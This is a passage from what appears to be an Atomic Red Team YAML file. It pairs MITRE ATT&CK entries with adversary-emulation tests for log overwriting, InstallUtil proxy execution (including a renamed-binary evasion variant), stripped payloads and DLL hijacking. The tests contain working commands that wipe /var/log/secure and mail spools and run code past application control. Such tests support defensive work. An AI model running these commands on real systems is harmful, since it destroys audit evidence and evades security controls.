        prereq_command: 'stat /var/spool/mail/#{username}

          '
        get_prereq_command: 'touch /var/spool/mail/#{username}

          '
      executor:
        elevation_required: true
        command: 'echo 0> /var/spool/mail/#{username}

          '
        name: bash
    - name: Overwrite Linux Log
      auto_generated_guid: d304b2dc-90b4-4465-a650-16ddd503f7b5
      description: 'This test overwrites the specified log. This technique was used
        by threat actor Rocke during the exploitation of Linux web servers.

        '
      supported_platforms:
      - linux
      input_arguments:
        log_path:
          description: Path of specified log
          type: path
          default: "/var/log/secure"
      executor:
        command: 'echo 0> #{log_path}

          '
        name: bash
        elevation_required: true
        cleanup_command: 'if [ "/var/log/secure" != "#{log_path}" ] ; then rm -f #{log_path}
          ; fi

          '
  T1218.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Casey Smith
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2cd950a6-16c4-404a-aa01-044322395107
      type: attack-pattern
      created: '2020-01-23T19:09:48.811Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1218.004
        url: https://attack.mitre.org/techniques/T1218/004
      - source_name: MSDN InstallUtil
        description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved
          July 1, 2016.
        url: https://msdn.microsoft.com/en-us/library/50614e95.aspx
      - source_name: LOLBAS Installutil
        url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/
        description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: InstallUtil'
      description: |-
        Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.

        InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior
        history of known good arguments and executed binaries to determine anomalous
        and potentially adversarial activity. Command arguments used before and after
        the InstallUtil.exe invocation may also be useful in determining the origin
        and purpose of the binary being executed.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1218.004
    atomic_tests:
    - name: CheckIfInstallable method call
      auto_generated_guid: ffd9c807-d402-47d2-879d-f915cf2a3a94
      description: |
        Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.
        If no output is displayed the test executed successfuly.
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: CheckIfInstallable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $ExpectedOutput = 'Constructor_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallHelper method call
      auto_generated_guid: d43a5bde-ae28-4c55-a850-3f4c80573503
      description: |
        Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test
        executed successfuly.
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: InstallHelper
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallHelper method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil class constructor method call
      auto_generated_guid: 9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93
      description: 'Executes the installer assembly class constructor. Upon execution,
        version information will be displayed the .NET framework install utility.

        '
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil Install method call
      auto_generated_guid: 9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b
      description: 'Executes the Install Method. Upon execution, version information
        will be displayed the .NET framework install utility.

        '
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_Install_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil Uninstall method call - /U variant
      auto_generated_guid: 34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b
      description: 'Executes the Uninstall Method. Upon execution, version information
        will be displayed the .NET framework install utility.

        '
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_Uninstall_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall'
        variant
      auto_generated_guid: 06d9deba-f732-48a8-af8e-bdd6e4d98c1d
      description: 'Executes the Uninstall Method. Upon execution, version information
        will be displayed the .NET framework install utility.

        '
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_Uninstall_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil HelpText method call
      auto_generated_guid: 5a683850-1145-4326-a0e5-e91ced3c6022
      description: 'Executes the Uninstall Method. Upon execution, help information
        will be displayed for InstallUtil.

        '
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: string
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: string
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/? `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_HelpText_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil evasive invocation
      auto_generated_guid: 559e6d06-bb42-4307-bff7-3b95a8254bad
      description: |
        Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation."
        will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

          '
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . "#{test_harness}"

          $InstallerAssemblyDir = "$Env:windir\System32\Tasks"
          $InstallerAssemblyFileName = 'readme.txt'
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "readme.txt"
          $ExpectedOutput = 'Constructor_'

          # Explicitly set the directory so that a relative path to readme.txt can be supplied.
          Set-Location "$Env:windir\System32\Tasks"

          Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe"

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = 'Executable'
              CommandLine = $CommandLine
              InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe"
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore
          Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore
          Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore
          Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" -ErrorAction Ignore
        name: powershell
  T1027.008:
    technique:
      modified: '2024-04-16T12:26:49.584Z'
      name: Stripped Payloads
      description: |-
        Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)

        Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Linux
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97
      created: '2022-09-29T18:30:12.244Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/008
        external_id: T1027.008
      - source_name: intezer stripped binaries elf files 2018
        description: 'Ignacio Sanmillan. (2018, February 7). Executable and Linkable
          Format 101. Part 2: Symbols. Retrieved September 29, 2022.'
        url: https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/
      - source_name: SentinelLabs reversing run-only applescripts 2021
        description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing
          Malicious Run-Only AppleScripts. Retrieved September 29, 2022.
        url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/
      - source_name: Mandiant golang stripped binaries explanation
        description: STEPHEN ECKELS. (2022, February 28). Ready, Set, Go — Golang
          Internals and Symbol Recovery. Retrieved September 29, 2022.
        url: https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1574.001:
    technique:
      modified: '2024-04-18T22:54:54.668Z'
      name: 'Hijack Execution Flow: DLL Search Order Hijacking'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

        There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

        Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.

        Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

        If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      - Marina Liang
      - Will Alexander
      - Ami Holeston
      x_mitre_deprecated: false
      x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
        modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
        with past behavior) that do not correlate with known software, patches, etc.,
        are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
        the same file name but abnormal paths. Modifications to or creation of `.manifest`
        and `.local` redirection files that do not correlate with software updates
        are suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
      created: '2020-03-13T18:11:08.357Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/001
        external_id: T1574.001
      - source_name: Adversaries Hijack DLLs
        description: CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved
          October 19, 2023.
        url: https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/
      - source_name: FireEye Hijacking July 2010
        description: Harbour, N. (2010, July 15). Malware Persistence without the
          Windows Registry. Retrieved November 17, 2020.
        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
      - source_name: FireEye fxsst June 2011
        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
          17, 2020.
        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
      - source_name: Microsoft Security Advisory 2269637
        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
      - source_name: Microsoft Dynamic-Link Library Redirection
        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
      - source_name: Microsoft Dynamic Link Library Search Order
        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
          Retrieved November 30, 2014.
